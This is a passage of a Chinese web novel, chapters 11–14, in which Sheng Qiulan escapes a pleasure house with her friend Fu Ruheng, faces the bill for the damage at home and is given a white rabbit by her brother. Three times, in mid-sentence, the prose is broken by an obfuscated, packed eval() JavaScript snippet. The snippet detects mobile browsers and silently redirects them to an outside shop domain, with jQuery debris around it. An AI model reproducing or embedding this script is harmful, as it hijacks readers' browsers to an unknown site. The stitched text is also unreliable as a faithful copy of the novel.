他们本来就没有挣脱开白纱,现在又盖上一层帷幔,厚重的布料压在身上,逃脱的难度更加大。
就趁现在。
脚步声从右边传过来,盛秋阑左右看了看,当机立断换了方向。
就在他们拐进第一个路口的时候,护院终于赶到了,隐约还能听到傅皓轩愤怒的叫喊声,嚷嚷着让他们把逃走的人抓回来。
盛秋阑没忍住漏出一个笑音,脚下的步子更快了。
鎏金楼呈“回”字形,两边各有一处楼梯。
他们的跑走的路线刚好与护院错开,一路上畅通无阻。
到达第二层的时候,楼中的光突然全部熄灭,紧接着又骤然亮起,一楼的宾客安静一瞬,爆发出一阵欢呼喝彩声。
大厅中的客人是最多的,全都聚集在一起,场面本就喧闹,现在更是被推向了高潮。
这处楼梯相比起刚上来时有些许不同,两侧的扶杆上面缠绕着细细的金线,每隔一段距离就有一枚小金铃,用手拨动会发出清脆的响声。
盛秋阑一开始还怕发出来的声音会吸引人,但此刻被底下嘈杂的声音盖住,她终究还是没忍住,手指蠢蠢欲动,拨动了一下铃舌。
铃铛震动,通过相连接的丝线,一整排的小金铃都发出声音。
盛秋阑身形一僵,赶紧往后面看了看,没有发现追过来的人才松了一口气。
她不敢再手欠了,乖乖跟在傅如珩后面,往门口走去。
一楼大厅中的人数相比起刚进来时又翻了几番,都是被这边的动静吸引过来的,人群挤在最中央的舞台面前,推推搡搡地想要往前排走。
入口处还在源源不断地来人,他们借着这个机会往人群当中挤,仗着个子小,很轻易地就淹没在了人海当中。
眼看着快要到了门口,身后的灯光再次熄灭,随之而来的是接连不断的铃铛声。
盛秋阑差点以为自己把楼梯上的铃铛带出来了,转头一看才发现不是。
台上出现了一个舞姬,穿着紫色浅纱薄裙,看样式像是楼兰那边传过来的,金色的细链缠绕在腰部和大腿部,刚才的铃铛声就是链子上悬挂着的东西发出来的。
在场的很多人显然都认识她,场面骚动起来。
“今日居然是头牌出来。”
“快快快,往前面挤挤。”
盛秋阑没站稳,被推搡着往后面倒去,幸好傅如珩在后面,及时扶住了她。
她不敢再久留,混在进来的人群当中,赶紧出了这个地方。
不知是不是错觉,明明已经离开了酒楼,耳边却还是环绕着铃声,伴随着走路的动作阵阵作响。
盛秋阑晃了晃脑袋,以为是自己在里面呆太久,耳朵出现问题了。
没想到她一动,铃声更加剧烈,好像就在耳边。
耳边?
一只手伸到她垂落着的发带上面,微微用力。
盛秋阑只感觉头发被轻轻扯了一下,随后面前出现了一枚正在摇晃的铃铛,在阳光下反着金色的光。
正是刚才发出声音的“罪魁祸首”。
11. 小弟
小巧精致的铃舌晃动了一会儿,渐渐安静下来。
盛秋阑之前根本没有发现这个小东西,也不知道是什么时候缠到发带上的。
她回想了一下,记起来之前跑下楼的时候,头发好像被什么东西扯了一下,但是因为当时急着跑出来,而且很快就没有感觉了,她也没有在意。
可能就是在那时候,飘起来的发带勾到了旁边的铃铛,于是顺势带下来了。
铃铛只比拇指大一点,需要用两个手指头捏住才堪堪拿稳。
说起这个,盛秋阑看向面前的傅如珩,挑了挑眉,状似不满。
“你之前怎么没跟我说过你这么会打架?”
印象当中傅如珩还只能在角落被欺负得一声不吭,就这么几年,他已经能够挡住比自己大五岁的傅皓轩了。
傅如珩没有立刻回答她。
什么时候呢?
可能是参加完盛秋阑的生辰礼,被挡在女孩后面的时候。
他早已经习惯被这样对待,周围人也是视若无睹,自从被接到侯府之后,那是第一次有人愿意挡在他的面前。
盛秋阑的个子比他要小,头顶也只到他的胸口,偏偏气势大得很,不偏不倚地站在他面前。
头顶上的小辫子也和她的主人一般炸开了花,别人都觉得她是行走的小炮仗,傅如珩却感觉这是独属于他的烟花。
也有可能是回到侯府之后,他去把花捡起来,一片片地用浆糊粘起来的时候。
花瓣很容易碎掉,其中的植物纤维露出来,即使表面已经粘起来了,上面的缝隙还是在无时不刻提醒他刚才发生的事情。
提醒他的无能为力让他被迫丢掉了收到的第一朵花。
亦或者是盛秋阑怒气冲冲地帮他把院门口的坑填满,把周围一群仆从都怼得无话可说的时候。
对方当时还想要去傅皓轩的院子当中给他也挖一个大坑,但是因为门口有人拦着,绕到院子后面也没有发现可以钻的空子。
当时她浑身上下裹得严严实实,呼出来的气都变成了白雾,半张脸埋在了围巾里面,语气中还带着不甘:“等我长高一点就能翻进去了,一定给他把坑挖出来。”
……
总之傅如珩默默下定了决心,他不会再让盛秋阑挡在自己面前了。
明媚的蝴蝶就应该自由地飞在天空中,不用为这些事情烦恼。
应该他来保护的。
侯府当中没有配备专门的师傅,府中的孩子都是去学堂当中学习骑射技艺的,但是没有人把傅如珩送进去,他只能用最原始的方法来锻炼自己。
不论冬夏,傅如珩总是在清晨顶着一头的汗回去沐浴,体力被极致消耗的同时,他瘦弱的手臂上逐渐多了一点肌肉线条。
虽然因为他还没有开始发育,这一点线条并不明显,但力量却得到了很大的提升。
傅如珩一直在找一个机会,一个可以证明自己能够护着盛秋阑的机会。
于是这一次,他挡住了傅皓轩。
盛秋阑见他不说话也没有在意,她疑问的重点不在这里,纤长的眼睫微微垂下,仿佛在思考着什么,挡住了一双亮晶晶的杏眼。
这几年间,她的模样长开了不少,唯有一双眼睛还是和小时候一样,里面的光亮始终没有褪去过,反而随着时间拉长变得更加显眼。
左眼角下面的痣愈发清晰,如同精致的墨点,衬得整个人更加灵动。
“以后我来罩着你,以后傅皓轩找你麻烦的时候,你就来告诉我,我帮你打他。”
盛秋阑觉得想出这个主意的自己绝顶聪明。
虽然她今天也没有出多少力,大多时候都是侍卫帮忙摁住,她只负责踹人,但看傅皓轩最后那个样子,应该要在家里面安分不少天。
要知道这可是两辈子以来她第一次正儿八经的打架,就能取得如此成就,罩个傅如珩也不成问题。
傅如珩略有些迟疑,但最后还是点了点头。
盛秋阑非常满意,她左看看右看看,想找个东西来纪念一下这个迅速又草率的关系。
可惜他们来得比较匆忙,过来时只带了四个侍卫,甚至到现在就只剩下两个了。
护院知道这些侍卫只是为府中做事的,不会过多为难,但过了这么久还没有出来,应该是被傅皓轩那边的人缠住了。
盛秋阑又默默地记了一笔。
目光投到刚刚被塞进手里面的小铃铛中,她眼睛一亮,把铃铛对着傅如珩比了比。
看到这个动作,傅如珩突然有了某种预感。
只见盛秋阑扯着自己的一边头发,干脆利落地把绑好的小丸子给松下来,半边黑发垂落的瞬间,她的手指上多了一条柔软的丝带。
作为侯府千金,她的丝带都是精心制作的,每一根发带都各不相同。
今天这根丝带用了暗纹布料,在阴暗处平平无奇,但是如果暴露在阳光下面,上面的图案就变得波光粼粼。
盛秋阑丝毫不顾凌乱的头发,把丝带从铃铛上面的小圆孔穿过,柔软的长条布料被挤压折叠,出现褶皱。
她冲着傅如珩微微抬起下巴:“伸手。”
傅如珩看上去有些不情愿,但在盛秋阑的眼神逼迫下还是伸出右手,随即手腕上就多了柔滑又有点冰凉的触感。
丝带在手上绕了一圈,盛秋阑拉扯到一个微微松的长度,然后灵活地在尾端打了一个结。
发带并不算长,但放在手腕上又显得有些富余。
只打了一个活结,垂落下来的飘带有些累赘,盛秋阑托着下巴看了看,捏起多余的部分,手指一弯一绕,变成了一个小巧的蝴蝶结。
绑带的位置刚好卡在腕骨处,手臂一移动就开始摩擦着那一块地方,带来痒痒麻麻的细小电流。
盛秋阑自己的头发散落在一旁,却对这个铃铛格外重视,特地把它移到了手腕最中央的位置。
“好了。”
之前被留下来的护院见到两个人的身影,驾车停在他们面前。
盛秋阑踩在放下来的梯子上,随后傅如珩进入了车中。
他手腕上的铃铛不断地晃动,声音不绝于耳。
因为只有一颗,几乎只能凑近才能听见,不似刚才在楼梯上的那样,牵一颗而动所有,但是却意外地好听,少了一点嘈杂。
盛秋阑非常满意,一贯冷淡又沉默的人自从带上铃铛之后就变得有活力许多,哪怕面上还是平淡如水,但因为这个声音穿插在其中,好像多了些许波澜。
傅如珩一开始还想要压着铃铛不让它出声,可看着盛秋阑好奇又时不时飘过来的眼神,又摁下了这个想法。
对方的头发一半披散着,一半还端端正正地顶在头上,看起来有些好笑。
他伸手,轻轻抽了一下另一边的发带,头发顺应而落。
“咦?”
感觉到头上的重量消失,盛秋阑后知后觉地捂住自己的脑袋。
“转过来。”
“哦。”
盛秋阑乖乖转身,把后背留给傅如珩,她的头发乌黑细亮,用手捧起来如同绸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904871|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
缎。
两个人都已经相当熟练,傅如珩把她的头发收拢成一束,手指插入发丝当中,很快就编成了一股小辫。
发带被系在发尾,打成了一个和手上同样的蝴蝶结。
盛秋阑的头发被身后的人拿在手里不能乱动,就透过车厢当中的帘子观察外面。
两个穿着熟悉衣服的侍卫从里面跑出来,紧随其后的是鎏金楼的护院。
他们明显是挣脱出来的,一前一后两队人看上去都有些狼狈。
见人已经出来了,前方驾马的侍卫立刻就要出发。
还没有来得及离开,护院就已经到了跟前,站在帘子大开的车厢门口。
“小姐,你们在鎏金楼里面损坏了很多东西,都需要赔偿。”
因为刚才闹出的那一通,整个包厢当中的装修已经基本损毁,只有房梁还撑着。
盛秋阑:“傅皓轩是不是还在里面。”
那人有些懵懵地点了点头,不理解她怎么突然提起了世子。
毕竟两个人的关系势如水火,看世子殿下那一身狼狈,这两个人之间的梁子应该算是彻底结下来了,他追出来的时候还听见傅皓轩坐在包厢里面叫着要让盛秋阑好看。
盛秋阑眼中满是狡黠:“那就让世子殿下赔吧。”
话刚说完,前面的侍卫就按照小姐之前的吩咐猛地拍马,车辆顿时驶出了一段距离,距离那一幢金光闪闪的楼宇更远了。
车厢里面已经提前铺上了厚厚的绒垫,知道自己家小姐怕冷,侍卫出发前还不忘塞上一个暖炉,热气从镂空处钻出来,充斥着这个狭小的空间。
盛秋阑刚刚打完一架,现在精神还是异常兴奋,坐在有些颠簸的马车里也不觉得困,脑海里不断回放着傅皓轩的惨状,没忍住“嘿嘿”笑了两声。
“我刚刚是不是特别厉害。”
马车停在府门口,盛秋阑跳下地面,还不忘转头向傅如珩炫耀。
傅如珩看到她的样子就知道她在想什么,对方像是完全不担心后续傅皓轩会报复,杏眼里面都是光亮,毫不掩饰自己的期待。
“嗯,厉害。”
他像是想到了什么,对盛秋阑说“等我一下”。
盛秋阑随意一点头,看着傅如珩进到侯府当中,很快又出来了,他的手上多了一杯水,递给盛秋阑。
盛秋阑以为他是听到自己的话,觉得辛苦她了,想要给一杯水犒劳。
“没事,我也没出多少力。”
她非常谦虚地说,顺手把水杯递到嘴边喝了一口。
“噗!”
盛秋阑猛地把嘴巴当中的水给吐出来,眉头紧紧皱起来。
“你给我喝了什么?”
她看向早已经预料到她动作,躲在旁边的傅如珩。
对方没让一滴水浇到身上,全都喂给了侯府门口的花花草草。
傅如珩没有回答他的问题:“下次不要咬他了。”
盛秋阑的眉头皱得更紧了,想到傅皓轩当时的惨叫,
为什么不让她咬,难道还顾忌着兄弟之情?
她的小弟怎么能够如此优柔寡断,绝不可行。
盛秋阑有问题绝不憋着:“为什么?”
她这样问着,一双眼睛还死死盯着傅如珩,好像他要是敢说出一个不满意的回答,当场就要被甩脸色。
虽然现在也差不多就是了。
“脏,”傅如珩开口,眼中是毫不掩饰的嫌弃,“他太脏了。”
傅皓轩这种垃圾,怎么配让盛秋阑咬他?
12. 账单
“哦。”
盛秋阑听完了解释,感觉确实有点恶心,主动又喝了一口水,还在嘴里咕噜咕噜两下,最后全部吐到侯府门口的树上。
哼,咸死它们。
她向傅如珩道别,轻快地走进自家院子当中。
盛怀德已经下了朝,换了朝服和夫人共同坐在院子的庭院当中品茶。
“爹爹!娘亲!”
听到身后略有些急促的脚步声,盛怀德熟稔地转身,刚好接住了跑过来的盛秋阑。
“听说你今日去了集市,怎么样,有没有带些什么回来?”
盛秋阑昨夜就在餐桌上说了今日的行程,盛怀德上下扫了一遍,女孩两手空空,浑身上下没有多一样东西。
按照以往,盛秋阑出去玩总要带些什么回府,大多是一些零零碎碎的小物件,有时候还会用自己小金库里的钱给爹娘和哥哥买些平日里看不到的新奇玩意儿,这还是第一次她空着手回来。
“没有看上的吗?”
盛秋阑略有些心虚,不是没有看上的,是连见都没见到。
“……呃,对,没有喜欢的。”
她的小表情自然没能过瞒过亲生父母,但是盛怀德和贺兰谨都没有拆穿她。
总归还这么小,应该也干不了什么大事,顶多就是偷偷去哪个地方玩了不敢告诉他们。
亭子里的氛围其乐融融,外面传来一阵敲门声,在旁边伺候的下人前去开了门,不知道听见了什么,有些犹豫地过来汇报。
盛怀德慢慢地喝了一口茶,随意问道:“外面是谁?”
仆从迟疑片刻,开口:“是侯府的人,他们说……说小姐把世子殿下打了,世子让人带着鎏金楼的账单过来讨要个说法。”
“咳咳咳。”
盛怀德口中的茶还没有咽下去,呛在喉间。
“你说什么?把谁打了?带着哪里的账单?”
盛秋阑早在听见第一句话的时候就感觉情况不妙,略有些心虚地后退一步,躲在贺兰谨后面。
没想到刚编完谎话,这么快就要被戳穿了。
傅皓轩也真是小心眼,堂堂一个世子,居然还真的在乎那一点小钱,还上门讨债。
盛怀德来不及问盛秋阑,从侍从手中拿过账单,细细看下去。
绫罗绸缎、桌子、椅子、维修费用……
长长一串,上面列出来的名称几乎囊括了酒楼包厢的所有物件,就差没把房顶加上去了。
这得是打成了什么样子?
门口,侯府的侍从还没有离开。
“从库中把银子拿给对面吧。”
那人应下,但还没有离开,补充道:“世子殿下好像现在还躺在床上,听说模样不是很好。”
盛怀德揉了揉眉心:“等我问一下,若是确实如此,明日会带着秋阑去侯府赔礼的。”
话语中护短的意思很明显,换用另一番意思,若是盛秋阑说她没错的话,那就不会去了。
侍从都能想到那位性情乖张的侯府长子听到这话会气成什么样子,但这不是他该考虑的,应下后拿着账单去库房中拿取对应的银子,一旁伺候的丫鬟也在贺兰谨的示意下退开,亭子当中只剩下三人。
盛秋阑很懂得看脸色,早在侍从退开来的时候就从娘亲的身后跳出来,主动开始给盛怀德捶背。
她的力道不轻不重,伴随着一声拖长口音的“爹爹”,盛怀德本就不多的气瞬间烟消云散。
不过面上还是要做些样子的。
盛怀德板着脸说:“你和侯府世子怎么回事?”
“他欺负傅如珩,我自然要帮他教训一下。”
盛怀德早已经猜到是这个原因,从小盛秋阑就因为傅如珩的原因和傅皓轩互看不顺眼,之前也闹过几次冲突,只是没有想到有朝一日会在鎏金楼里面打起来。
盛家的情况算是少数,侯府之中妻妾众多,傅如珩作为其中一个不受宠的儿子,被这样对待也不算特例,只是傅皓轩好像格外喜欢针对他。
盛怀德在官场中蹉跎,对这种早已经见怪不怪,但盛秋阑却不一样。
终究还是侯府中的事情,作为外人不好多说,但盛怀德也没有过多阻止。
他不想破坏掉盛秋阑这份善意,终归之后也可以用小孩间的小打小闹来糊弄过去。
盛秋阑也心知肚明这一点,所以行事也没有顾忌。
不过这次闹得稍微大了一点点而已。
“那鎏金楼又是怎么回事?”
盛怀德问清原因之后,这就算让这件事情过去了,他更加关注自己所听到的地点。
盛秋阑这才几岁,怎么能到这种地方去?
鎏金楼在京城中最出名的不是酒,而是每隔几天就会开展的各类活动和里面的伶人们。
“还不是因为傅皓轩日日在那边,我只能去那里面找他。”
自己夜夜笙歌也就算了,居然还敢把账单送过来。
盛秋阑愤愤地想,就应该等傅皓轩出来的时候,在路上找个麻袋把他套上,然后拖到巷子里面把他打一顿,让他连打人的是谁都不知道,更别说寄账单了。
真是便宜他了。
盛怀德皱了皱眉,他不是没听过侯府世子的名声,只是没想到这么小就在鎏金楼这种乌烟瘴气的地方流连忘返。
他终究还是松了口:“不过这件事还是得给侯府一个交代,毕竟对方是世子。”
盛秋阑嘿嘿一笑,知道这一桩事算是过去了。
她得寸进尺道:“要不就送点药膏吧,爹爹你在京城这么久,有没有那种拿得出手但是又好得慢的药膏,最好涂上去会让人浑身难受,火辣辣地疼。”
盛怀德没有理她,招来一个仆从:“从库房里拿点人参和黄连送去侯府,就说今日之事是小女略显鲁莽了,望世子殿下能够早日康复。”
“爹爹我就知道你最好了。”
盛秋阑非常满意,这些东西一听就苦得要死,让傅皓轩那个王八蛋躺在床上喝中药去吧。
粲粲粲。
“哟,走之前不是还说二哥最好吗,怎么现在又改口了?”
一道轻佻的少年声音响起,语气中还带着笑意和调侃。
盛秋阑听到熟悉的嗓音,惊喜地回头,看见盛承驰正跨入门槛当中,朝着他们的方
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904872|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向走过来。
“二哥!”
她已经有将近一个月没有看见盛承驰,当即就抛下爹娘,朝着他跑过去。
盛承驰已经熟悉她的动作,蹲下来把人接了个满怀。
盛秋阑的动作根本没有收,这一下撞得还有点疼。
盛承驰憋着没有揉生疼的小腹,他已经开始发育,这段时间长高了不少,蹲下来的时候与盛秋阑的视线齐平。
“想二哥了没?”
“想的想的。”
盛秋阑还没有来得及辩解刚才被拆穿的“三心二意”,身后又传来一道声音。
“只想二哥吗,那我是不是应该走了?”
盛承礼慢了一步走进来,当场就抓获了两个人的互动。
他就知道弟弟早早跑下车肯定不会憋什么好事,所以在盛承驰下车不久之后,他也赶了过来。
“我也想大哥!”
盛秋阑从盛承驰怀中挣脱出来,又满面笑容地上去抱大哥,服务态度极好。
不急不急,两个人都能收获到抱抱。
她的端水能力已经到了炉火纯青的地步,在心里默默数着秒数,一到时间就从怀里面出来。
时间都一样哦,不许说我偏心。
盛秋阑沉稳地叹了一口气。
明明都已经比小时候大了不少了,怎么在这方面还是喜欢较劲?
“这几日放旬假,我们可以在家中陪你多玩几天。”
自从盛承驰也开始上学之后,盛秋阑就只能一个人呆在家中,闻言立刻答应:“好。”
盛怀德和贺兰谨给了兄妹足够的聊天时间,见他们说得差不多了才笑眼盈盈地从亭子当中走出来。
他们早上就已经知道了学堂放假的消息,让膳房多准备了些饭菜,现在时辰已经差不多了。
“好了,不是早就说饿了吗,有什么话可以饭后再聊。”
盛家在饭桌上没有那么多规矩,但是因为今天大公子和二公子回来,府中的下人也费了些心思,桌上摆满了几人平日最爱的菜品,阵仗堪比小型家宴。
盛秋阑吃得腮帮子鼓起来,根本没有空闲时间张嘴,竖着耳朵听其他人聊天。
盛怀德问了两句他们在学堂中的课业,在父亲面前,就连盛承驰也变得安分了不少,老老实实地回答相关的问题。
他顺口提到:“我们原来的童舍被拆了,似是要搬到学院附近,大抵放假回去就能看到新童舍了。”
说起这件事,盛承驰有些烦躁:“这般年纪的小崽子,休憩时都能听见他们玩闹,不给人清静。”
盛秋阑终于咽下来口中的东西,刻意咳嗽两声,学着别人文绉绉的样子:“二哥慎言。”
单论年龄还说,她比盛承驰口中的“小崽子”还要再小一点,相当于把她也给说进去了。
看见自家妹妹佯装不满的神情,盛承驰讨饶:“妹妹当然是全世界最安静听话的,和他们才不一样。”
听到这话,坐在主位上的盛怀德嘴角一抽,想起来自己库房中消失的人参和那长长一串的账单。
也不知道这两个词哪个字和盛秋阑有关系。
13. 冤大头
第二日,盛秋阑难得早起了一回。
今天相比起昨日气温低了一些,迎春给她在外面穿了一件带着帽子的披肩,一边给她扎头发,一边奇怪地询问。
“小姐,昨日我给你扎了两个小髻,今儿怎么只剩下一根发带了。”
盛秋阑想起来昨天给傅如珩系上铃铛之后就没有拿回来,另一根现在应该还在对方那边,她讨好地笑了一下,没有说实话:“可能是昨日打架的时候被拽掉了。”
她在鎏金楼里的丰功伟绩早已经在府中传遍了,迎春没有怀疑,只是有些遗憾:“这一对发带还挺好看的,现在只有一根了。”
她拿着留下来的那一根发带,绑在最末尾,一根辫子侧扎着放在耳旁。
盛秋阑晃晃脑袋,觉得挺稳固,从凳子上跳下来,往外面跑去。
“这次我一定不会弄丢的。”
她跑到大院门口,正想要踏出去,外套的帽子却被人拽住了,抬起来的一只脚悬在空中,被迫往后退了一步。
盛秋阑伸手把帽子拉回来,看着抱着胸站在身后的盛承驰。
“二哥你干什么?”
盛承驰看着她:“难得见你早上不睡懒觉,急着干什么去?”
“我去找傅如珩玩。”盛秋阑理所当然地回答。
盛承驰闻言有些吃醋,拦着不肯让她走:“我听说你天天去找傅家那小子玩,我难得回来一次,也没见你一早上就跑来找二哥。那小子天天闷着不说话,有什么好玩的?”
盛秋阑平时卖乖嘴甜一整套,这次却难得反驳了回去。
“他才没有!二哥你平时还逃学去外面玩,爹娘都不知道,信不信我现在去告状?”
盛承驰根本不信,他逃学的时候特地观察过周围的环境,没有看见过盛秋阑的影子,怎么可能会知道。
没想到盛秋阑很快就说出了具体时间:“二月十四,你到花鸟集里面去斗蛐蛐,还和人比输了,被迫买了两只蛐蛐送给对方。”
她看着眼睛猛然睁大的盛承驰,补充完了最后一句:“现在那个蛐蛐莫不是还在学堂里面?”
盛承驰哑口无言。
“学堂假期要检查,我早已经放生了。”
他说完这一句,又不死心地问:“你怎么知道的?明明当时只有我和同窗好友。”
盛秋阑高深莫测地摇摇头,坚决不肯透露。
笑话,万一盛承驰知道了以后就躲开了怎么办?
其实这件事也是她偶然知道的。
盛秋阑一次和傅如珩出去的时候,刚好经过花鸟集,他们惯常逛的商铺门口多了几笼兔子,像是刚刚摆出来的,她被笼子里的幼年兔吸引力目光,忍不住停下来看了一会儿,
掌柜在一旁极力推荐:“我们这的兔子品相都极好,这还是从远处进过来的,我敢说京城当中,我们肯定是最先一家。若是小姐不喜欢,这边还有其他东西,前几日有几位崇阳学院的公子们都来买了。”
崇阳学院是京城最有名的学院,能够进去的大多是官宦子弟,要么就是品学极好的学子,堪称古代的清北附中,用崇阳学院来作招牌,招揽效果显而易见。
他见盛秋阑穿着不凡,觉得这笔生意促成的可能性很大,还翻出来了赊账单:“这几位公子来这边儿比赛,筹码就是店中的蛐蛐,不过那位公子没有带银两,赊在我这。”
盛秋阑家中就有两个兄长在崇阳学院上学,对这个名头并不热切,但是看掌柜一脸热切,还是看了一眼,结果账单旁边签着的赫然是盛承驰的名字。
没想到当时的意外发现能够在这里派上用场。
“对了,二哥你还清账了吗?”
盛承驰彻底败下来,他没想到盛秋阑就连这件事情都知道。
当时出来玩是临时起意,没有带银两,他就约定等到放假就去还,现在兜里面就揣着票子。
风水轮流转,现在变成盛秋阑好以整暇地站在原地,看盛承驰向她服软。
“爹娘不知道这事,你应该不会想看二哥受罚的吧。”
盛秋阑之前没有说,现在自然也不会去告密。
但她面上却没有表现出来,刻意站在原地。
“那你以后不许说傅如珩的坏话。”
盛承驰没有想到话题最后还是绕到这里来了,他想说些什么,最后迫于逃学威胁,先答应下来。
“行行行,我再也不说你那个小竹马坏话了。”
举着双手发誓完,看到盛秋阑打算放过这件事情,盛承驰原本只有两分的醋意变得真情实感起来。
“看你护着他的样子,连亲哥都比不上。”
“哪有,明明我对你也很好。”
盛秋阑讨好地上去,一边还谨慎地拽着自己的帽子,没有给盛承驰第二次机会。
不过盛承驰刚才的话也算提醒了她,她看了看眼前的大门,又想到哥哥难得回家一次,自己抛下他去找傅如珩好像确实不太好。
算了,她和傅如珩平时也能在一起,况且昨日也已经答应二哥了,现在鸽也不太好。
盛秋阑收回脚步:“那我们今天去哪?”
盛承驰神秘兮兮地说:“等着,我们今天去吓吓大哥。”
他拍了拍暗袋里面的银票,打开了面前的大门。
盛秋阑跟着他上了车,马车走之前看了一眼对面的侯府大门。
车辆最后停在了花鸟集的门口,可能是因为大多学生都放了旬假,今日的市场比以往还要热闹一些,他们两个经常光顾的商铺门口挤满了人,大多是一些小孩子。
人团团围在门口的笼子旁边,凑着脑袋看里面的动物。
“看,它在吃东西,嘴巴好可爱。”
“这只没有先前的白色好看,若不是太贵,我真想带回家。”
掌柜正在柜台前收银票,一个算盘在手上打得啪啪响。
“掌柜的,我来清账了。”
掌柜百忙之中抬起头来,他明显还认识这个给他带来不少生意的顾客,旁边的盛秋阑也很眼熟。
“原来你们是一家的,难怪当时就觉得相似。”
他利落地打开另外一本账簿,在盛承驰的旁边勾上一条杠。
“等等,我再买些东西。”
盛承驰特意避开了盛秋阑,拐到角落问掌柜:“我妹妹先前来过这里?”
掌柜对盛秋阑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906448|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
印象挺深:“是啊,她和朋友有时候会来我这里看兔子,只是没想到你们居然是兄妹。”
“哪种兔子?”
掌柜回忆道:“是我们这边新到的白兔,比其他种类的兔子贵些,尤其是一只新到的幼兔,看的时间最久。”
“那只兔子可还在?”
“在是在的,不过因为出价的人不多,又需要精心照顾,我拿到里边去了。”
“那我买了。”
“好嘞。”掌柜喜笑颜开,从里间拿出那只兔子,还送了些叶片。
“这个年纪的兔子还很娇弱,需要多看顾店,等大了就好了。”
盛承驰接过笼子,又在掌柜耳边说了什么,后者从一旁打开了一个小笼子,把东西放在不透明的盒子了。
“这个送你了。”他很大气地说。
“好嘞,谢谢掌柜。”
两人都非常满意,盛承驰转身想要把笼子给盛秋阑,却发现对方已经没有了影。
他吓出了一身冷汗,人是他带出来的,若是在这种地方丢了可就完了。
幸好,搜寻了一圈之后,盛承驰在门口发现了和其他小孩蹲在一起的盛秋阑。
盛秋阑不知何时已经到了人群的最前方,周围小孩都跃跃欲试,想要通过笼子的缝隙往里面伸手,一贯吵闹的她却非常安静,只是睁眼看着,看起来非常懂礼节。
不愧是他妹。
若是盛秋阑知道盛承驰在想什么,必定要说他想多了。
这个兔子好像刚刚拉过屎,她觉得臭才没有去碰而已。
她前段时间还在这里看见了几只白兔,现在那几只幼兔却不见了,只剩下了一只大一些的。
虽然兔子已经不算稀奇物,不过毛色种类还是有区别,其中以白兔最为罕见,幼兔价格更是高上许多,那只留下来的白兔旁边围着的人也是最多的。
盛秋阑看得津津有味,感觉腿都麻了才站起来,正想要问问盛承驰怎么还没有好,就听见周围人分散了一点,视线不再聚集在面前的笼子中,不断有惊呼声。
“真的买下来了?”
“大概又是哪家公子吧。”
盛秋阑听着他们的话,得知有人把兔子买下来了。
掌柜当初进兔子时也是财大气粗,京城中少有做这种赔本买卖的。
这些兔子品种让它们注定只能用来观赏,一般人家绝不会花这个钱,摆在门口也只是为了吸引人来店里而已。
这时候不比盛秋阑原来的世界,一只兔子的价格可以抵普通人家几年的吃食,若不是有特殊爱好的豪门官府,绝不会浪费这个钱。
盛秋阑好奇地抬起眼:她倒要看看是哪个冤大头。
一道身影从人群当中走出来,姿势异常潇洒,举手投足之间都带着一种熟悉感。
伴随着其他人的惊呼,盛秋阑看着自家二哥把手中的笼子递给她,里面正是之前没有见到过的白色幼兔,现在正在里面酣睡,丝毫没有被周围的动静吵醒。
身上突然变得灼热起来,一道道目光全都集中在她还有她手中提着的笼子上面。
盛秋阑:“……”
原来是她家的冤大头。
14. 盛大胆
盛秋阑在一众小不点艳羡的目光当中拿着笼子上了马车。
窗外的热切视线全数被帘子阻挡住,她把笼子放在脚下,俯身观察着幼兔睡觉的样子。
说不喜欢肯定是假的,她之前虽然不常经过花鸟集,但只要看到了门口的兔子总会留下来看一会儿。
虽然先前在心里偷偷说盛承驰是败家子,实则拿到之后也没有放过手,一直牢牢地捧在怀中。
盛秋阑先前从来没有养过小动物,上学的时候没有精力照顾,原来倒是想过在毕业之后租一间小屋子,可以买一只安静一点的小猫养在家里,结果还没有等到毕业,自己就来到了这里。
没想到就这样阴差阳错实现了原先的愿望。
兔子在刚才的环境下都没有被吵醒,现在换到了温暖的马车上更是睡得很熟,耳朵软趴趴地放在脑后,整只兔蜷成一团,像白白胖胖的馒头。
即便是这样,盛秋阑还是不敢轻易去摸,只是隔着笼子观察着。
盛承驰:“现在它已经是你的了,想摸就摸。我刚刚问了掌柜,兔子睡着的时候不容易醒。”
盛秋阑闻言有些心动,眼神不住地飘到蜷缩在一起的毛团上,却迟迟没有动作。
她表现出来的紧张自然也没有逃脱过盛承驰的视线,惯常总是话多的人在突如其来的一只小动物面前瞻前顾后,就连说话都放低了声音,生怕吵醒它。
他看不过去,直接打开了笼子上方的开口,拉着盛秋阑的手伸进去。
盛秋阑手指蜷缩了一下,似是想要收回去,但是终究还是没有抵得过心动,快速又轻柔地触碰了一下那一片雪白,如同蜻蜓点水一般。
她手指收回得太快,几乎快要有残影,让人怀疑是不是根本没有碰到。
盛秋阑眼睛微微睁大,回味着指尖感受到的那一瞬细软,虽然时间短暂,但她确确实实触碰到了。
